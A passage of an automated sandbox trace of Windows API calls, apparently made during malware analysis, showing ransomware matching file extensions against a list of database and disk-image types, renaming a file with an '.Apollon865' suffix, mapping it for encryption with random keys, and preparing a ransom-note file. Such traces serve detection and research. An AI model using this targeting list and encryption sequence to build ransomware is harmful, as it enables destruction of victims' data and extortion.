	[0084.423] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0084.423] lstrlenW (lpString="vdi") returned 3
	[0084.423] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0084.423] lstrlenW (lpString="vhd") returned 3
	[0084.423] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0084.423] lstrlenW (lpString="vhdx") returned 4
	[0084.423] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0084.423] lstrlenW (lpString="avhd") returned 4
	[0084.423] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0084.423] lstrlenW (lpString="db") returned 2
	[0084.423] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0084.423] lstrlenW (lpString="db2") returned 3
	[0084.423] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0084.423] lstrlenW (lpString="db3") returned 3
	[0084.423] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0084.423] lstrlenW (lpString="dbf") returned 3
	[0084.423] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0084.423] lstrlenW (lpString="mdf") returned 3
	[0084.423] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0084.423] lstrlenW (lpString="mdb") returned 3
	[0084.423] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0084.423] lstrlenW (lpString="sql") returned 3
	[0084.423] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0084.423] lstrlenW (lpString="sqlite") returned 6
	[0084.423] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0084.423] lstrlenW (lpString="sqlite3") returned 7
	[0084.423] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0084.423] lstrlenW (lpString="sqlitedb") returned 8
	[0084.424] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0084.424] lstrlenW (lpString="xml") returned 3
	[0084.424] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0084.424] lstrlenW (lpString="$er") returned 3
	[0084.424] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0084.424] lstrlenW (lpString="4dd") returned 3
	[0084.424] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0084.424] lstrlenW (lpString="4dl") returned 3
	[0084.424] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0084.424] lstrlenW (lpString="^^^") returned 3
	[0084.424] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0084.424] lstrlenW (lpString="abs") returned 3
	[0084.424] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0084.424] lstrlenW (lpString="abx") returned 3
	[0084.424] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0084.424] lstrlenW (lpString="accdb") returned 5
	[0084.424] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0084.424] lstrlenW (lpString="accdc") returned 5
	[0084.424] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0084.424] lstrlenW (lpString="accde") returned 5
	[0084.424] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0084.424] lstrlenW (lpString="accdr") returned 5
	[0084.424] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0084.424] lstrlenW (lpString="accdt") returned 5
	[0084.424] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0084.424] lstrlenW (lpString="accdw") returned 5
	[0084.424] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0084.424] lstrlenW (lpString="accft") returned 5
	[0084.424] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0084.424] lstrlenW (lpString="adb") returned 3
	[0084.424] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0084.424] lstrlenW (lpString="adb") returned 3
	[0084.424] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0084.424] lstrlenW (lpString="ade") returned 3
	[0084.424] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0084.424] lstrlenW (lpString="adf") returned 3
	[0084.424] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0084.424] lstrlenW (lpString="adn") returned 3
	[0084.424] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0084.425] lstrlenW (lpString="adp") returned 3
	[0084.425] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0084.425] lstrlenW (lpString="alf") returned 3
	[0084.425] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0084.425] lstrlenW (lpString="ask") returned 3
	[0084.425] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0084.425] lstrlenW (lpString="btr") returned 3
	[0084.425] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0084.425] lstrlenW (lpString="cat") returned 3
	[0084.425] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0084.425] lstrlenW (lpString="cdb") returned 3
	[0084.425] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0084.425] lstrlenW (lpString="ckp") returned 3
	[0084.425] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0084.425] lstrlenW (lpString="cma") returned 3
	[0084.425] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0084.425] lstrlenW (lpString="cpd") returned 3
	[0084.425] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0084.425] lstrlenW (lpString="dacpac") returned 6
	[0084.425] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0084.425] lstrlenW (lpString="dad") returned 3
	[0084.425] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0084.425] lstrlenW (lpString="dadiagrams") returned 10
	[0084.425] lstrcmpiW (lpString1="LL.trx_dll", lpString2="dadiagrams") returned 1
	[0084.425] lstrlenW (lpString="daschema") returned 8
	[0084.425] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0084.425] lstrlenW (lpString="db-journal") returned 10
	[0084.425] lstrcmpiW (lpString1="LL.trx_dll", lpString2="db-journal") returned 1
	[0084.425] lstrlenW (lpString="db-shm") returned 6
	[0084.425] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0084.425] lstrlenW (lpString="db-wal") returned 6
	[0084.425] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0084.425] lstrlenW (lpString="dbc") returned 3
	[0084.425] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0084.425] lstrlenW (lpString="dbs") returned 3
	[0084.425] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0084.425] lstrlenW (lpString="dbt") returned 3
	[0084.425] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0084.426] lstrlenW (lpString="dbv") returned 3
	[0084.426] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0084.426] lstrlenW (lpString="dbx") returned 3
	[0084.426] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0084.426] lstrlenW (lpString="dcb") returned 3
	[0084.426] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0084.426] lstrlenW (lpString="dct") returned 3
	[0084.426] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0084.426] lstrlenW (lpString="dcx") returned 3
	[0084.426] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0084.426] lstrlenW (lpString="ddl") returned 3
	[0084.426] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0084.426] lstrlenW (lpString="dlis") returned 4
	[0084.426] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0084.426] lstrlenW (lpString="dp1") returned 3
	[0084.426] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0084.426] lstrlenW (lpString="dqy") returned 3
	[0084.426] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0084.426] lstrlenW (lpString="dsk") returned 3
	[0084.426] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0084.426] lstrlenW (lpString="dsn") returned 3
	[0084.426] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0084.426] lstrlenW (lpString="dtsx") returned 4
	[0084.426] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0084.426] lstrlenW (lpString="dxl") returned 3
	[0084.426] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0084.426] lstrlenW (lpString="eco") returned 3
	[0084.426] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0084.426] lstrlenW (lpString="ecx") returned 3
	[0084.426] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0084.426] lstrlenW (lpString="edb") returned 3
	[0084.426] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0084.426] lstrlenW (lpString="epim") returned 4
	[0084.426] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0084.426] lstrlenW (lpString="fcd") returned 3
	[0084.426] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0084.426] lstrlenW (lpString="fdb") returned 3
	[0084.426] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0084.427] lstrlenW (lpString="fic") returned 3
	[0084.427] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0084.427] lstrlenW (lpString="flexolibrary") returned 12
	[0084.427] lstrcmpiW (lpString1=".DLL.trx_dll", lpString2="flexolibrary") returned -1
	[0084.427] lstrlenW (lpString="fm5") returned 3
	[0084.427] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0084.427] lstrlenW (lpString="fmp") returned 3
	[0084.427] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0084.427] lstrlenW (lpString="fmp12") returned 5
	[0084.427] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0084.427] lstrlenW (lpString="fmpsl") returned 5
	[0084.427] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0084.427] lstrlenW (lpString="fol") returned 3
	[0084.427] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0084.427] lstrlenW (lpString="fp3") returned 3
	[0084.427] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0084.427] lstrlenW (lpString="fp4") returned 3
	[0084.427] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0084.427] lstrlenW (lpString="fp5") returned 3
	[0084.427] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0084.427] lstrlenW (lpString="fp7") returned 3
	[0084.427] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0084.427] lstrlenW (lpString="fpt") returned 3
	[0084.427] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0084.427] lstrlenW (lpString="frm") returned 3
	[0084.427] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0084.427] lstrlenW (lpString="gdb") returned 3
	[0084.427] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0084.427] lstrlenW (lpString="gdb") returned 3
	[0084.427] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0084.427] lstrlenW (lpString="grdb") returned 4
	[0084.427] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0084.427] lstrlenW (lpString="gwi") returned 3
	[0084.427] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0084.427] lstrlenW (lpString="hdb") returned 3
	[0084.427] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0084.427] lstrlenW (lpString="his") returned 3
	[0084.428] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0084.428] lstrlenW (lpString="ib") returned 2
	[0084.428] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0084.428] lstrlenW (lpString="idb") returned 3
	[0084.428] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0084.428] lstrlenW (lpString="ihx") returned 3
	[0084.428] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0084.428] lstrlenW (lpString="itdb") returned 4
	[0084.428] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0084.428] lstrlenW (lpString="itw") returned 3
	[0084.428] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0084.428] lstrlenW (lpString="jet") returned 3
	[0084.428] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0084.428] lstrlenW (lpString="jtx") returned 3
	[0084.428] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0084.428] lstrlenW (lpString="kdb") returned 3
	[0084.428] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0084.428] lstrlenW (lpString="kexi") returned 4
	[0084.428] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0084.428] lstrlenW (lpString="kexic") returned 5
	[0084.428] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0084.428] lstrlenW (lpString="kexis") returned 5
	[0084.428] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0084.428] lstrlenW (lpString="lgc") returned 3
	[0084.428] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0084.428] lstrlenW (lpString="lwx") returned 3
	[0084.428] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0084.428] lstrlenW (lpString="maf") returned 3
	[0084.428] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0084.428] lstrlenW (lpString="maq") returned 3
	[0084.429] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0084.429] lstrlenW (lpString="mar") returned 3
	[0084.429] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0084.429] lstrlenW (lpString="marshal") returned 7
	[0084.429] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0084.429] lstrlenW (lpString="mas") returned 3
	[0084.429] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0084.429] lstrlenW (lpString="mav") returned 3
	[0084.429] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0084.429] lstrlenW (lpString="maw") returned 3
	[0084.429] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0084.429] lstrlenW (lpString="mdbhtml") returned 7
	[0084.429] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0084.429] lstrlenW (lpString="mdn") returned 3
	[0084.429] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0084.429] lstrlenW (lpString="mdt") returned 3
	[0084.429] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0084.429] lstrlenW (lpString="mfd") returned 3
	[0084.429] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0084.429] lstrlenW (lpString="mpd") returned 3
	[0084.429] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0084.429] lstrlenW (lpString="mrg") returned 3
	[0084.429] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0084.429] lstrlenW (lpString="mud") returned 3
	[0084.429] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0084.429] lstrlenW (lpString="mwb") returned 3
	[0084.429] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0084.429] lstrlenW (lpString="myd") returned 3
	[0084.429] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0084.429] lstrlenW (lpString="ndf") returned 3
	[0084.429] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0084.429] lstrlenW (lpString="nnt") returned 3
	[0084.429] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0084.429] lstrlenW (lpString="nrmlib") returned 6
	[0084.429] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0084.429] lstrlenW (lpString="ns2") returned 3
	[0084.429] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0084.430] lstrlenW (lpString="ns3") returned 3
	[0084.430] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0084.430] lstrlenW (lpString="ns4") returned 3
	[0084.430] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0084.430] lstrlenW (lpString="nsf") returned 3
	[0084.430] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0084.430] lstrlenW (lpString="nv") returned 2
	[0084.430] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0084.430] lstrlenW (lpString="nv2") returned 3
	[0084.430] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0084.430] lstrlenW (lpString="nwdb") returned 4
	[0084.430] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0084.430] lstrlenW (lpString="nyf") returned 3
	[0084.430] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0084.430] lstrlenW (lpString="odb") returned 3
	[0084.430] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0084.430] lstrlenW (lpString="odb") returned 3
	[0084.430] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0084.430] lstrlenW (lpString="oqy") returned 3
	[0084.430] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0084.430] lstrlenW (lpString="ora") returned 3
	[0084.430] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0084.430] lstrlenW (lpString="orx") returned 3
	[0084.430] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0084.430] lstrlenW (lpString="owc") returned 3
	[0084.430] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0084.430] lstrlenW (lpString="p96") returned 3
	[0084.430] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0084.430] lstrlenW (lpString="p97") returned 3
	[0084.430] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0084.430] lstrlenW (lpString="pan") returned 3
	[0084.430] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0084.430] lstrlenW (lpString="pdb") returned 3
	[0084.430] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0084.430] lstrlenW (lpString="pdm") returned 3
	[0084.430] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0084.430] lstrlenW (lpString="pnz") returned 3
	[0084.430] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0084.431] lstrlenW (lpString="qry") returned 3
	[0084.431] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0084.431] lstrlenW (lpString="qvd") returned 3
	[0084.431] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0084.431] lstrlenW (lpString="rbf") returned 3
	[0084.431] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0084.431] lstrlenW (lpString="rctd") returned 4
	[0084.431] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0084.431] lstrlenW (lpString="rod") returned 3
	[0084.431] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0084.431] lstrlenW (lpString="rodx") returned 4
	[0084.431] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0084.431] lstrlenW (lpString="rpd") returned 3
	[0084.431] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0084.431] lstrlenW (lpString="rsd") returned 3
	[0084.431] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0084.431] lstrlenW (lpString="sas7bdat") returned 8
	[0084.431] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0084.431] lstrlenW (lpString="sbf") returned 3
	[0084.431] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0084.431] lstrlenW (lpString="scx") returned 3
	[0084.431] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0084.431] lstrlenW (lpString="sdb") returned 3
	[0084.431] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0084.431] lstrlenW (lpString="sdc") returned 3
	[0084.431] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0084.431] lstrlenW (lpString="sdf") returned 3
	[0084.431] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0084.431] lstrlenW (lpString="sis") returned 3
	[0084.431] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0084.431] lstrlenW (lpString="spq") returned 3
	[0084.431] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0084.431] lstrlenW (lpString="te") returned 2
	[0084.431] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0084.431] lstrlenW (lpString="teacher") returned 7
	[0084.431] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0084.431] lstrlenW (lpString="tmd") returned 3
	[0084.431] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0084.431] lstrlenW (lpString="tps") returned 3
	[0084.432] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0084.432] lstrlenW (lpString="trc") returned 3
	[0084.432] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0084.432] lstrlenW (lpString="trc") returned 3
	[0084.432] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0084.432] lstrlenW (lpString="trm") returned 3
	[0084.432] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0084.432] lstrlenW (lpString="udb") returned 3
	[0084.432] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0084.432] lstrlenW (lpString="udl") returned 3
	[0084.432] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0084.432] lstrlenW (lpString="usr") returned 3
	[0084.432] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0084.432] lstrlenW (lpString="v12") returned 3
	[0084.432] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0084.432] lstrlenW (lpString="vis") returned 3
	[0084.432] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0084.432] lstrlenW (lpString="vpd") returned 3
	[0084.432] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0084.432] lstrlenW (lpString="vvv") returned 3
	[0084.432] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0084.432] lstrlenW (lpString="wdb") returned 3
	[0084.432] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0084.432] lstrlenW (lpString="wmdb") returned 4
	[0084.432] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0084.432] lstrlenW (lpString="wrk") returned 3
	[0084.432] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0084.432] lstrlenW (lpString="xdb") returned 3
	[0084.432] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0084.432] lstrlenW (lpString="xld") returned 3
	[0084.432] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0084.432] lstrlenW (lpString="xmlff") returned 5
	[0084.432] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0084.432] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLSLICER.DLL.trx_dll.Apollon865") returned 83
	[0084.432] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLSLICER.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\xlslicer.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLSLICER.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\xlslicer.dll.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0084.434] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLSLICER.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\xlslicer.dll.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0084.434] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=15712) returned 1
	[0084.434] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0084.435] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0084.435] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0084.435] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0084.435] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0084.436] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0084.436] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4060, lpName=0x0) returned 0x15c
	[0084.437] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4060) returned 0x100000
	[0084.439] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0084.439] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0084.439] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0084.439] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0084.439] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0084.439] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0084.439] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0084.439] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0084.440] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0084.440] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0084.440] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0084.440] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0084.440] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0084.440] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0084.440] CloseHandle (hObject=0x15c) returned 1
	[0084.440] CloseHandle (hObject=0x9c) returned 1
	[0084.440] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0084.440] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0084.440] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0084.441] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe092000, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe092000, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XLSLICER.DLL.trx_dll", cAlternateFileName="XLSLIC~1.TRX")) returned 0
	[0084.441] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0084.441] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7c50
	[0084.441] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Network", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Network") returned="C:\\Users\\All Users\\Microsoft\\Network"
	[0084.441] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bcb18 | out: hHeap=0x580000) returned 1
	[0084.441] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0084.441] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Network") returned 36
	[0084.441] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Network" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Network") returned="C:\\Users\\All Users\\Microsoft\\Network"
	[0084.441] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
